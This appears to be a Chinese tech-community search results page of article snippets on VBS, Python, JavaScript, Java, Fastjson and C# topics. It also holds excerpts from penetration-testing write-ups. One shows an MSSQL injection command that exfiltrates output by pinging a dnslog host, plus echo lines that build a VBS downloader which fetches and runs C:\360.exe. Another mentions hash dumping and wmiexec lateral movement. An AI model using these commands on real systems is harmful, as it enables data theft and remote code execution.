首页
学习
活动
专区
圈层
工具
发布

VBS基础篇 - 对象(3) - FileSystemObject对象

文件系统是所有操作系统最重要的部分之一,脚本经常会需要对文件及文件夹进行访问和管理,在Vbs中对桌面和文件系统进行访问的顶级对象是FileSystemObject(FSO),这个对象特别复杂,是vbs...FSO包含的常见对象有: 对象/集合 描述 Drive 包含储存设备的信息,包括硬盘、光驱、ram盘、网络驱动器 Drives 提供一个物理和逻辑驱动器的列表 File 检查和处理文件 Files 提供包含在文件夹内的所有文件的列表...Folder 检查和处理文件夹 Folders 提供在 Folder 内的所有文件夹的列表 TextStream 对象。...如何使用FSO 要用FSO对象模型来编程,使用CreateObject方法来创建FileSystemObject对象,例如:   Dim fso Set fso = wscript.createobject...至此我们获取了fso对象,接下来就可以使用fso对象了。

1.6K31
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    520没对象?那来学下Python类与对象

    Python中一切皆对象,所以很有必要了解一下类和对象的概念。 类可以看成是抽象的模板,比如:智能手机。...对象就是根据这个模板制造出来的实物,比如iPhone ,华为,小米,OPPO等各种品牌的智能手机。 类定义 类包含属性和方法,描述具有共同属性和行为的一类事物。...self的叫实例方法 def study(self): print("学生要学习") 类属性和实例方法的调用 #打印类属性 print(Students.people) #创建实例化对象...类方法,使用装饰器@classmethod标识,第一个参数必须是cls,表示类对象 静态方法,使用修饰器@staticmethod标识,不需要定义特殊参数 2.访问权限 实例方法可以使用类属性和实例属性...3.三者的调用的区别 调用实例方法必须先实例化对象 s=Students("小明") s.study() 静态方法,类方法可以使用实例对象和类对象(类名)去访问 s.write("语文") Students.write

    58142

    没对象?new一个呗😝

    当使用new关键字调用一个函数时,它会执行以下操作:创建一个空的简单 JavaScript 对象(即  {} );为步骤 1 新创建的对象添加属性  __proto__ ,将该属性链接至构造函数的原型对象...;将步骤 1 新创建的对象作为 this 的上下文;如果该函数没有返回对象,则返回 this。...创建一个用户自定义的对象需要两步:通过编写函数来定义对象类型。通过 new 来创建对象实例。new关键字的原理为了更好地理解new关键字背后的原理,我们可以手动实现一个简化版的new操作符。...(obj, args); // 如果构造函数返回了一个对象,则返回该对象;否则返回新创建的对象 return typeof result === 'object' && result !...通过使用new关键字调用这两个构造函数,我们可以分别创建一个名为john的男朋友对象和一个名为lisa的女朋友对象。最后,我们打印出这两个对象实例,可以看到它们分别具有相应的属性值。

    63330

    Windows系统未激活或key不合适,导致内存只能用到2G

    Windows有个坑是系统没激活导致的。...性能页签里的内存 → 右下侧看到为硬件保留的内存多少G(这里是四舍五入的,resmon命令显示的那个更为精确) 在微软windows internals这本书里有记录,跟激活或者说license相关的限制,在一些没激活的场景里...%windir%/system32/slmgr.vbs -ato" cmd /c "cscript /nologo %windir%/system32/slmgr.vbs -ato" cmd /c "...ID:12,13,6005,6006,6008,41,1074 内存不足的事件ID:2004 激活相关的事件ID:8197,8198,12288,12289 这样过滤(一般来说用事件ID过滤效率高,过滤得快...,如果用description里的字符串过滤,效率会差一些,过滤得慢) 或者 一般来说,长期内存不足后,某次激活失败了,然后重启机器出现了2G内存的限制。

    11.3K22

    String对象的那些事,几行代码就解释得清清楚楚

    并且每次new一个String对象时,即使字符串内容相同,也会新开辟一片空间存储对象,因此z和zCopy地址也是不用的。 这部分的细节原理在下一部分中解释。...String对象的那些事,几行代码就解释得清清楚楚 可以看到,常量池中最中只保留了一份"a"的引用。因为在String z = "a";执行时,字符串常量池中已经有"a"的引用了,不会重复创建。...String对象的那些事,几行代码就解释得清清楚楚 可以看出,最终常量池只存储了"Geralt"和"Yennefer"两个引用,而没有存放拼接的结果。...因此,我们应该在for循环外部先定义一个StringBuilder对象,这样只新建了一个对象就完成了任务,效率大增。...原来,当一个对象调用intern方法时,会查看常量池是否有与当前对象内容相同的字面量,如果有,就直接返回常量池中的引用信息,如果没有,就在常量池中补充当前对象的字面量,然后返回引用。

    64121

    WinCC 画面中脚本的队列

    在WinCC画面中存在四个脚本队列,分别是事件触发的VBS脚本、周期触发的VBS脚本、事件触发的C脚本、周期触发的C脚本。...事件触发脚本是指在对象的事件中编写的脚本,例如,按钮的按下事件,或者输出输入域的输出值改变触发的事件。...画面中周期触发的脚本,是指画面对象动态化属性的脚本,也就是写在画面对象属性中“动态”下的脚本,例如,下图所示为矩形对象的动态化脚本。...在对象动态化脚本中可以设置脚本的触发方式,支持事件触发(变量改变时触发)以及周期触发,如下图所示。经测试,这里的脚本(包括变量改变时触发的脚本)都属于周期触发的脚本。...不同队列里的脚本互不影响,相同队列里的脚本需要按顺序执行,当前面的脚本没执行完时,后面的脚本需要排队。 同一队列里的脚本需要排队 下面以一个示例来说明这个问题。

    2.9K30

    从 JSON 字符串到 Java 对象:Fastjson 1.2.83 全程解析|得物技术

    ,对象一旦交付给用户代码处理后,内部引用立即释放。...这种方式内存中不会保存所有对象,对象处理完即被丢弃,因此可以处理数据量远大于内存的数据,而不会出现OOM。...用好 TTL Agent 不踩雷:避开内存泄露与CPU 100%两大核心坑|得物技术2. 线程池ThreadPoolExecutor源码深度解析|得物技术3....基于浏览器扩展 API Mock 工具开发探索|得物技术4. 破解gh-ost变更导致MySQL表膨胀之谜|得物技术5. MySQL单表为何别超2000万行?...揭秘B+树与16KB页的生死博弈|得物技术文 /剑九关注得物技术,每周更新技术干货要是觉得文章对你有帮助的话,欢迎评论转发点赞~未经得物技术许可严禁转载,否则依法追究法律责任。

    98210

    0基础带你精通Java对象序列化--以Hessian为例|得物技术

    对象图遍历对象图遍历的本质是按深度优先进行对象属性导航。...java.io.DataOutput对象图遍历字节流布局最终呈现出来的字节流层面的数据布局会是这样:看起来没毛病,唯一的问题就是不好解码。...前端日志回捞系统的性能优化实践|得物技术2. 得物灵犀搜索推荐词分发平台演进3.03. R8疑难杂症分析实战:外联优化设计缺陷引起的崩溃|得物技术4....可扩展系统设计的黄金法则与Go语言实践|得物技术5....营销会场预览直通车实践|得物技术文 / 羊羽关注得物技术,每周更新技术干货要是觉得文章对你有帮助的话,欢迎评论转发点赞~未经得物技术许可严禁转载,否则依法追究法律责任。

    51910

    实战 | 记一次邮件系统C段引发的SQL手注和内网渗透

    没截到图,为了不打草惊蛇所以先 pass。...此时我开始测试各种奇怪的方法,比如写出写出写出 vbs 执行程序,vbs 写 txt,,写出 bat 执行程序 结果当然是,没有找到 vbs 写出的 txt,vbs 压根没执行成功,bat 里面放了个...然后认真检查脚本 啊这,我上传脚本的变量大小没改。。。。。。。。...然而幻想是很美好的,我们还是得先打 tmd 一个出网的机器 这个破 DNS 实在是太太太太太太慢了,如何漫游呢? 答案当然先是使用 vbs,wmiexec,不过咱们得先把本机凭据抓了。...成功 dump 出 hash 然后上传 wmiexec.vbs,执行 发现了一个问题 怪不得 nmd 什么 vbs 都执行不了,原来是这个关了,想执行 reg add 修改组策略。

    1.7K10

    MSSQL注入之无回显利用实战案例

    26findstr+/L+/V+CERTIFICATE+temp1>temp2%26for+/F+%i+in+('type+temp2')+do+ping+-n+1+%i.dnslog 执行以下命令时得注意多个单双引号的闭合问题...最后发现也可以利用@倾旋师傅在“Regsvr32 ole对象”这篇文章中提到的httplog方式来解决这个问题。...(4) 查看杀软进程 执行以下命令可以将目标主机正在运行的进程列表给外带出来,在确定没有安全防护软件的情况下可以直接将CS/MSF文件落地到磁盘执行上线,不过也得注意上边提到的cmd /c、| 转义和空格等问题...()>>C:\down.vbs echo+Set+aGet+=+CreateObject("ADODB.Stream")>>C:\down.vbs echo+aGet.Mode+=+3>>C:\down.vbs...\down.vbs echo+aGet.SaveToFile+"C:\360.exe",2>>C:\down.vbs echo+Shell.Run+("C:\360.exe")>>C:\down.vbs

    3.7K10

    为什么不应该公开用来同步的加锁对象?为什么不应该 lock(this)lock(string) 或者 lock 任何非私有对象?

    扩展 从以上的例子可以看出,不止是 lock (this) 会出现“难以捉摸”的死锁问题,lock 任何公开对象都会这样。...lock 公开的属性 public class Foo { public object SyncRoot { get; } = new object(); } 只要在 A 处 lock 这个对象的同时...,在另一个线程调用了同样 lock 这个对象的 B 处的代码,必然死锁。...编译期间能确定的相同字符串,在运行期间是相同的实例 - walterlv .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉 - walterlv lock 其他任何可能被其他对象获取的公开对象...比如 Type 对象,比如其他公共静态对象。

    78510

    【VBS】vbs指定编码保存文本文件(含xml、ini什么的)

    我那安装包在安装期间有这个动作: - 让用户填写一些信息,待安装完成后把这些信息写入软件安装目录中的指定ini、xml文件中 上文说的是如何用vbs写ini,ini搞完了,这下搞xml。...本来借助xml完善的DOM实现,包括vbs在内的大多数语言操作xml都很容易,调用Microsoft.XMLDOM对象即可,比如: Dim doc Set doc = CreateObject("Microsoft.XMLDOM...adModeReadWrite] stream.Charset = "utf-8" '指定编码 stream.Open '打开流 doc.save stream '关键就在这,save不一定是写到文件,还可以写到流对象...stream.SaveToFile "c:\a.xml", 2 '用流对象来存文件 stream.Close '关闭流 简单说就是用DOMDocument对象来操作xml,用Stream对象来保存文件...解决这问题有点瞎猫撞死耗子,就是DOMDocument的save方法的文档(http://msdn.microsoft.com/en-us/library/ms753769(v=vs.85).aspx)我看了N遍,就没发现有

    1.6K10
    领券